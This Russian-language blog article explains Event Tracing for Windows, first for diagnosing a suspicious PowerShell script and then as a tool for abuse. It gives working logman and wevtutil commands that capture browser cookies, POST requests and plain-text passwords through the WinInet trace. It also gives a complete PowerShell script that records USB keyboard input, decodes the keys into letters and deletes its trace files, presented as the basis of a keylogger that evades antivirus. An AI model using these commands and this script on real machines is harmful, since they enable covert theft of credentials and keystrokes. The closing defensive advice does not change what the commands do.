Event Tracing for Windows на стороне зла. Но это не точно

iih9zhmwsn9nofzy8rkouzp4yry.jpeg

В предыдущих статьях про сниффер на PowerShell и сбор данных о загрузке с удаленного сервера я уже немного писал про возможности ETW (Event Tracing for Windows). Сегодня я хочу подробнее рассказать про эту технологию.

Заодно покажу на примере разбора HTTPS и создания кейлоггера на PowerShell, как ее можно использовать во благо. Или не совсем во благо.

Event Tracing for Windows собирает и передает сообщения от системных компонентов Windows и сторонних приложений. Появился он еще во времена Windows 2000, но если в те времена системных провайдеров было несколько десятков, то сейчас их счет идет уже на сотни. Сообщения удобно использовать для диагностики ошибок и решения проблем с производительностью софта.

Часть системных провайдеров по умолчанию уже пишет в журнал событий Windows, а часть включается отдельно. Так что даже если вы не знаете про ETW, наверняка им пользуетесь. Познакомиться с журналами и включить часть из них при необходимости можно в стандартном просмотре событий в журналах приложений и служб. Немного о журнале и о работе с ним можно почитать в статье «Вертим логи как хотим ― анализ журналов в системах Windows».

Посмотреть список существующих провайдеров, которые только и рады поведать нам, что с ними происходит, можно командой logman query providers.

l1pjbkjfufxvyqp5ro4xv4qjyne.jpeg

Провайдеры ETW.

Посмотреть список провайдеров, которые подключены к определенному процессу Windows (а значит, и узнать что-то про него), можно при помощи команды logman query providers -pid .

f2q3is7egt-nmq70kkeoijqvrp0.jpeg

Список провайдеров, подключенных к обычному блокноту.

Подписку на события определенного провайдера или на трассировку можно включить через PowerShell при помощи командлета New-NetEventSession. А можно и вовсе накликать мышкой по пути «Управление компьютером» — «Производительность» — «Группы сборщиков данных». Здесь в сеансах отслеживания событий видно, какие трассировки запущены, и при желании можно создать свой сборщик.

ghbxqepwh2ilmzzul7khowlivgo.jpeg

Запущенные трассировки.

Просматривать результат можно при помощи утилит и наборов утилит типа Microsoft Message Analyzer, Windows Performance Toolkit или вовсе командлетом PowerShell Get-WinEvent.

С особенностями работы ETW я рекомендую ознакомиться в документации Microsoft, начать можно с раздела About Event Tracing. Также могу порекомендовать неплохой материал «Изучаем ETW и извлекаем профиты».

Поскольку ETW работает на уровне ядра, то его отличает скорость передачи сообщений и отсутствие необходимости устанавливать какие-либо драйверы или инжекты в приложения. Обычно ETW используют для диагностики производительности и проблем с приложениями. Например, в статье «Ускорение загрузки Windows for fun and profit» анализируются факторы, влияющие на замедление загрузки, а в материале 24-core CPU and I can«t move my mouse — причины торможения Windows на рядовых операциях. Приведу пример — анализ запуска командлетов PowerShell.

Предположим, что вы каким-то образом (например, через аудит запуска процессов) обнаружили, что на компьютере запускаются невнятные процессы и скрипты PowerShell. Одной из методик будет использование ETW для анализа их активности. Например, посмотрим на провайдера PowerShell. Включим трассировку командой:

logman start pstrace -p Microsoft-Windows-PowerShell -o c:\temp\pstrace.etl -ets

Теперь подождем, пока непонятные скрипты отработают, остановим трассировку командой:

logman stop pstrace -ets

Теперь можно посмотреть трассировку, например, через Microsoft Message Analyzer.

3i3j7uamctkk9-pd23lmtizdjcs.jpeg

Подозрительный clean.ps1 явно что-то ищет и удаляет.

Если выбрать нужную строку, то в нижней панели будет расширенная информация о событии.

xktx3thdkpitn0bueqhlaqmfx1k.jpeg

А, это же скрипт для очистки кэша 1С!

В этот раз все оказалось банально. Но в более сложных случаях можно запустить трассировку и для проверки других активностей:


  • сетевая активность;
  • разрешение DNS;
  • обращение к диску;
  • работа с памятью;
  • активность WMI;
  • и многое другое.

Таким образом, ETW может помочь поймать зловреда и разобраться в работе приложений. Местами это информативнее, чем привычный Process Monitor. Но помимо дел добрых, у механизма есть и «темная» сторона.


Разумеется, и молотком можно убить, и ружьем спасти. Моральную оценку механизмов делать я, конечно же, не буду, но в любом случае возможности открываются интересные.

Приведу пару примеров в качестве Proof-of-Concept

В этом примере я покажу, как легко узнать, что же ищет пользователь в интернете, даже по HTTPS. Посмотреть можно и без PowerShell — только мышка, только хардкор. В нашей задаче будет пользователь, будет Windows, Internet Explorer и журнал событий.

Начнем с того, что включим журнал событий Wininet. Делается это так: открываем журнал событий, на вкладке «Вид» включаем отображение аналитических и отладочных журналов.

fudeq02mmzhunyyw1cwib0ou8pm.jpeg

Добавляем отображение нужных журналов.

После этого включаем UsageLog в контекстном меню, и этого достаточно для получения нужной информации. Попользуемся IE и посмотрим лог:

pjmujaesudek77i77sv0vtnnnjc.jpeg

Журнал WinInet.

Собственно, в журнале видны заголовки и непосредственный запрос в поисковую систему.

Помимо заголовков при помощи журнала можно вытащить и cookie, а заодно посмотреть POST-запросы — например, для вытаскивания учетных данных. Методика работает на любых приложениях, использующих wininet.dll для работы с интернетом. К примеру, браузер Edge.

То же самое запросто реализуется и на PowerShell, и даже на cmd. Приведу пример реализации последним.

Для начала создадим трассировку:

logman start CookieStealer -p Microsoft-Windows-WinInet -o c:\temp\cookiesteal.etl -ets

Теперь поработаем в браузере, проверим почту. Трассировку можно после этого остановить командой:

logman stop CookieStealer -ets

Простейший анализ можно провести при помощи командной утилиты wevtutil.exe. Например, для просмотра POST-запросов команда будет такой:

wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"

Можно даже наудачу попробовать поискать по слову password и получить результат.

ygykgdj9vmqmlp7aobfcz5fyyiu.jpeg

Пароли открытым текстом. Очень напрягает.

Стоит отметить, что антивирус при этом молчал. Действительно, ведь это обычный процесс трассировки.

Разумеется, события WinInet можно использовать и для диагностики неполадок вроде «почему этот сайт не открывается и что вообще происходит». Но тем не менее, возможности довольно интересны. Перейду к еще более закрученному примеру.

В Windows есть два интересных провайдера ETW:


  • Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) — работает с USB 2.0.


  • Microsoft-Windows-USB-USBPORT (C88A4EF5-D048–4013–9408-E04B7DB2814A) — работает с USB 3.0.


С их помощью можно получить данные HID, которые передает такое устройство USB, как клавиатура или мышь. Данные захватываются в сыром виде, но благодаря спецификации HID их вполне можно привести к читаемому виду.

Для начала трассировки достаточно выполнить следующие команды:

logman start "usbtrace" -p "microsoft-windows-usb-usbport"  -o "c:\temp\usbtrace.etl" -ets

А данные можно получить командлетом PowerShell:

$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}

Приведу пример простого скрипта, который читает данные трассировки и преображает их в читаемые значения. Преобразование делается только для английских букв и исключительно в заглавные.


Полный листинг скрипта под спойлером.
$source = "C:\temp\trace.etl"
$destination=  "C:\temp\Output.txt"
$tracetime = "10"
logman start usbtrace -p microsoft-windows-usb-usbport  -o $source  -ets
sleep $TraceTime
logman stop usbtrace -ets
$Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"}
$HID = Foreach ($I in $Input) {(‘{0:x}’ -f ($I.properties.value[5]))}
$Data=switch ($HID)
{
    4 {"A"}
    5 {"B"}
    6 {"C"}
    7 {"D"}
    8 {"E"}
    9 {"F"}
    A {"G"}
    B {"H"}
    C {"I"}
    D {"J"}
    E {"K"}
    F {"L"}
    10 {"M"}
    11 {"N"}
    12 {"O"}
    13 {"P"}
    14 {"Q"}
    15 {"R"}
    16 {"S"}
    17 {"T"}
    18 {"U"}
    19 {"V"}
    1A {"W"}
    1B {"X"}
    1C {"Y"}
    1D {"Z"}
}

$Data | out-file "$Destination"
get-content "$Destination"
del "$source"
del "$Destination"

При запуске скрипт включает трассировку на 10 секунд, затем показывает результат.

w1kgag36huygrqilju8ngooidx8.jpeg

Результат работы скрипта.

Конечно же, разобравшись с данными HID, можно доработать скрипт до полноценного кейлоггера, который записывал бы данные с клавиатуры и мыши. Стоит отметить и ограничения этого механизма:


  • работает только с USB, а PS\2 (как порой встречается в ноутбуках) не поддерживается;
  • поддержка USB 3.0 заявлена только в Windows 8 и выше;
  • требуются права администратора (UAC).

Зато никаких драйверов и перехватчиков. Ну, и конечно, помимо зловредного использования такой кейлоггер может помочь в диагностике проблем с клавиатурой. Теоретически.

Даже встроенные механизмы в руках злодея могут натворить бед. Методы защиты остаются те же самые: блокировать исполняемые файлы не из системных каталогов, не работать под пользователем с правами администратора, а если и работать — то хотя бы не отключать UAC. И, конечно же, встроенные браузеры Windows по части безопасности вызывают вопросы.

© Habrahabr.ru